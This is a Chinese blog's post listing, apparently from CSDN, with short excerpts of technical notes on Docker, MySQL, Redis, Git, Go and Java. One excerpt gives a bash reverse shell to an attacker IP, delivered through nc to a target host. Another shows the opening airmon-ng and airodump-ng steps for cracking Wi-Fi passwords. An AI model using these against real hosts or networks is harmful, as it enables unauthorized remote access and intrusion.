自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

喜欢一个人

愿我们保持独立思考,不卑不亢不怂,长成自己想要的样子。

  • 博客(56)
  • 收藏
  • 关注

原创 docker构建指定架构镜像

通过这种方式生成的包,需要使用docker import 的方式来导入docker buildx create --use --name m1_builderdocker buildx inspect --bootstrapdocker buildx build --platform linux/amd64 -t system:v1 --output type=tar,dest=s...

2022-05-01 01:19:00 69

原创 通过nc传送文件

在攻击机上定义payloadvi payload#!/bin/bashbash -i >& /dev/tcp/攻击机ip/4444 0>&1启动监听sudo nc -lvvp 4444<payload在靶机上发起nc请求nc 攻击机ip 4444>a在靶机上执行bash a...

2022-04-21 18:13:00 50

原创 kali暴力破解wifi密码

1.更改网卡为监听模式sudo airmon-ng start wlan02.监听网卡sudo airodump-ng wlan0monBSSID  AP端的mac地址PWR 信号强度(绝对值越小,信号越强)Data 对应路由器的在线数据吞吐量,数值越大,数值上传量越大CH 对应路由的频道ESSID 对应...

2022-04-17 03:47:22 135

原创 一句话命令使用python3搭建下载服务器

http 协议python3 -m http.server 80ftp 协议python3 -m pyftpdlib -p 21

2022-01-05 15:09:00 43

原创 搭建ORACLE_JDK8基础镜像

下载oraclejdk8进入oracle下载目录:https://www.oracle.com/java/technologies/downloads/选择我们需要的版本,我们镜像默认使用的是ARM64的centos,所以这里选择jdk-8u311-linux-x64.tar.gz,这边需要我们登陆一下oracle.这里我们用邮箱注册一下就好了.下载完成后,以下为我的目录结构...

2022-01-03 22:12:00 105

原创 中间件上云流程

下载基础镜像docker pull nginx查看镜像docker images打包镜像# -o 或 > 指定输出镜像文件的包名nginx.tar nginx 镜像名docker save -o nginx.tar nginx 或 docker save > nginx.tar nginx上传云服务器(略)解压镜像docker load ...

2021-12-30 12:24:00 22

原创 mac手机共享wife却无法联网解决办法

删除配置记录,然后重启vim rm_wifeconfig.shsudo rm -rf /Library/Preferences/SystemConfiguration/NetworkInterfaces.plist \ /Library/Preferences/SystemConfiguration/preferences.plist \ /Library/Prefer...

2020-06-03 14:27:00 59

原创 mysql 分区建表

-- 按日分区CREATE TABLE `table_name` ( datadate DATETIME DEFAULT NULL ) ENGINE = INNODB PARTITION BY RANGE (to_days(`datadate`)) ( PARTITION p0 VALUES less than (to_days('2019-01-01')), PARTITION ...

2020-05-29 11:51:00 49

原创 Docker下安装ElasticSearch和Kibana

ElasticSearch安装docker安装esdocker pull elasticsearch:7.2.0启动esdocker run --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -d elasticsearch:7.2.0修改配置,解决跨域访问问题首...

2020-03-31 00:48:00 25

原创 关于maven使用阿里源无法生效问题

原因: 由于阿里仓库地址更新成https后,下载需要使用ssl认证,如果本地没有配置的话,导致依然使用的是默认仓库.在setting.xml中新增阿里的配置<mirror> <id>aliyunmavencentral</id> <mirrorOf>*</mirrorOf> <name&...

2020-03-30 20:33:00 100

原创 go语言生成其他平台的可执行文件

- Mac 平台下生成windows和linux# windowsCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build# linuxCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build- windows 下生成Mac和linux(在cmd命令窗口)# linuxSET CGO_ENABLED=0 ...

2020-03-12 20:37:00 23

原创 python文件读写

python文件读写

2020-02-07 21:30:33 105

原创 正则表达式

正则表达式

2020-02-07 21:26:39 106

原创 通过注解方式导入导出execl

通过注解方式导入导出execl

2020-02-07 21:21:41 334

原创 Java线程

线程学习

2020-02-07 21:17:07 78

原创 Mysql 锁表查询

Mysql 锁表查询

2020-02-07 21:15:15 304

原创 Klocwork 检查结果解释

Klocwork 检查结果解释

2020-02-07 21:13:20 2430

原创 配置你的开发环境---java

配置你的开发环境---java

2020-02-07 21:10:01 286

原创 微服务集成Apollo配置中心,同时动态刷新数据库

微服务集成Apollo配置中心,同时动态刷新数据库

2020-02-07 21:05:27 1435 2

原创 正则匹配

符号 解释 示例 说明 .匹配任意字符b.t可以匹配bat / but / b#t / b1t等\w匹配字母/数字/下划线b\wt可以匹配bat / b1t / b_t等 但不能匹配b#t\s匹配...

2019-12-20 15:41:00 22

原创 文件和异常

在实际开发中,常常需要对程序中的数据进行持久化操作,而实现数据持久化最直接简单的方式就是将数据保存到文件中。在Python中实现文件的读写操作其实非常简单,通过Python内置的open函数,我们可以指定文件名、操作模式、编码信息等来获得操作文件的对象,接下来就可以对文件进行读写操作了。这里所说的操作模式是指要打开什么样的文件(字符文件还是二进制文件)以及做什么样的操作(读、写还是追加),具...

2019-12-20 14:17:00 14

原创 es在数据量很大的情况下(数十亿级别)如何提高查询效率啊?

面试题es 在数据量很大的情况下(数十亿级别)如何提高查询效率啊?面试官心理分析这个问题是肯定要问的,说白了,就是看你有没有实际干过 es,因为啥?其实 es 性能并没有你想象中那么好的。很多时候数据量大了,特别是有几亿条数据的时候,可能你会懵逼的发现,跑个搜索怎么一下 510s,坑爹了。第一次搜索的时候,是510s,后面反而就快了,可能就几百毫秒。你就很懵,每个用户第一次访问都会比较慢...

2019-10-22 16:58:00 14

原创 Java线程方法含义

wait(time)和sleep(time)的区别wait():在synchronized代码块中执行,调用wait方法,会让出cpu调度,同时释放锁sleep():调用sleep方法,会让出cpu调度,但不会释放锁notify()和notifyAll()的区别notify():会随机唤醒一个在等待池中的线程,让其加入锁池去争夺锁权限notifyAll():会唤醒所有等待池线程,...

2019-09-27 16:50:00 21

原创 redis持久化模式

RDB(快照模式)优点:全量数据快照,文件小,恢复快缺点:无法保存最近一次快照之后的数据AOF(Append-Only-File)追加模式优点:可读性高,适合保存增量数据,数据不易丢失缺点:文件体积大,恢复时间长RDB-AOF混合模式先使用RDB保存全量数据,再使用AOP写入增量数据,保证了数据恢复快,文件小...

2019-09-24 10:33:00 12

原创 为什么redis很快?

完全基于内存,绝大部分请求是纯粹的内存操作,执行效率高(采用单线程,单进程模型的K-V数据库,由C语言编写,将数据储存在内存中,读写时不会受到硬盘IO的限制)数据结构简单,对数据操作也简单(不使用表,不会进行数据之间的强制关联,存储结构为键值对,与hashMap类型,查找时间复杂度为O(1))采用单线程,单线程也能处理高并发请求,多核也可以启动多实例(将IO线程与业务线程分离,业务线程使用...

2019-09-23 22:53:00 13

原创 git使用脚本

设置用户名和邮箱- git config --global user.name lisongyu- git config --global user.email li.songyu@qq.com生成本地秘钥(全部回车)ssh-keygen.exe -t rsa -C "li.songyu@qq.com"查看生成的公钥cat ~/.ssh/id_rsa.pub在远程仓...

2019-09-11 16:15:00 14

原创 docker启动elasticsearch5.5.2报错

[root@lisongyu ~]# docker run -p 9200:9200 hub.c.163.com/library/elasticsearch:5.5.2OpenJDK 64-Bit Server VM warning: INFO: os::commit_memory(0x0000000085330000, 2060255232, 0) failed; error='Cannot...

2019-08-28 22:41:00 18

原创 docker 常用命令

查询运行的docker容器docker ps | grep xxxx查看运行日志docker logs -f xxxxx (xxx为容器id)进入运行的容器内部docker exec -it xxxxx bash (xxx为容器id)查看所有镜像docker images停止容器docker stop xxxxx (xxx为容器id)...

2019-08-20 15:37:00 17

原创 git学习

https://learngitbranching.js.org/git initgit add README.mdgit commit -m "first commit"git branch -M maingit remote add origin git@github.com:lisyfun/uric-web.gitgit push -u origin main

2019-05-21 16:34:00 16

原创 mysql删除库中所有表数据

查询库中所有的表SELECT CONCAT('TRUNCATE TABLE ',table_name,';') FROM information_schema.tables WHERE table_schema='database_name' ; -- database_name为要删除的库生成的语句复制到粘贴板复制,执行...

2019-05-08 10:56:00 13

原创 正则校验网站

https://regex101.com/

2019-05-06 15:32:00 14

原创 TCP的三次握手和TCP的四次挥手

TCP三次握手:"握手"是为了建立连接第一次握手:建立连接时,客户端发送SYN包(seq=x)到服务端,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到SYN包,必须确认客户的SYN(ack=x+1),同时自己也发送一个SYN包(seq=y),即SYN+ACK包,此时服务器进入SYN_RECV状态;第三次握手:客户端收到服务端的SYN+ACK包,向服务端发...

2019-05-02 22:24:00 17

原创 python解析日志,获取想要的数据

由于老大需要对日志进行解析,获取到相应桩的信息,所以我写了个专门的解析脚本,就是执行的时间有点长,如果用java的话应该可以快2/3.练一下python.在该脚本中遇到的问题就是des解密的时候有一个固定8位的key.当时使用32位的长key,每次都报错,后来发现可以先使用8位空key设置,再setKey(KEY)为32位的.解析截取到的数据时,看似json格式,其实并不是,所以单写了个解...

2019-04-30 15:34:00 21

原创 进行大文件的分片操作(split),合并(cat/copy)

进行大文件的分片操作(split),合并(cat/copy)由于工作的需要,当我们的系统产生了超过内存的日志文件时,当我们使用工具对文件进行读取数据时,会直接报异常,无法进行读取.所以我们要前置的对文件进行分片操作.split(linux命令)在windows中最好前置下载个cmder进行操作.进入cmder,切换到需要分割的文件地址可以看到这个文件有1.8g;这个文件如果要直接使...

2019-04-30 15:15:00 48

原创 在windows中使用类似linux的终端---cmder

在windows中使用类似linux的终端---cmder作为一名程序员,很多时候都要远程连接服务器进行工作.但是作为一名windows工作者.很多远程命令都无法使用自带的cmd进行操作,后来我找到了cmder.轻巧,算是这个最大的优点.但我还是喜欢全一点的.该工具集成了很多好用的liunx命令,可以让我更好的完成远程操作....

2019-04-30 14:35:00 31

原创 spring启动容器加载成功后执行调用方法

需求: 由于在微服务架构中各服务之间都是通过接口调用来进行交互的,像很多的基础服务,类似字典信息其实并不需每次需要的时候再去请求接口.所以我的想法是每次启动项目的时候,容器初始化完成,就去调用一下基础服务的接口.通过一个本地map来缓存需要的数据.当我需要使用的时候直接从本地缓存中取.下面是具体的代码实现.在启动类中实现ApplicationListener 接口,重写onApplicati...

2019-04-29 15:09:00 16

原创 使用lambda表达式对相同属性的实体进行合并

List<CrmAuthorizedInfo> crmAuthorizedInfos = flowPlanInfoMapper.findAllByEncode(stationForm.getOperatorId(), stationIds);首先的我数据在很多的属性上都是相同的.crmAuthorizedInfos.parallelStrea...

2019-04-29 14:54:00 37

原创 在线cron时间表达式转换

http://cron.qqe2.com/https://www.matools.com/cron/

2019-04-29 14:33:00 65

原创 java返回json格式自定义

使用注解@JsonSerialize(using = CustomPriceSerialize.class)创建自定义的格式化类(可为内部类)/** * 设置默认返回的小数类型(0.01 元) */class CustomPriceSerialize extends JsonSerializer<BigDecimal> { private DecimalFo...

2019-04-29 14:30:00 17

原创 python习题

https://github.com/kenwoodjw/python_interview_question

2019-03-11 10:26:00 14

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除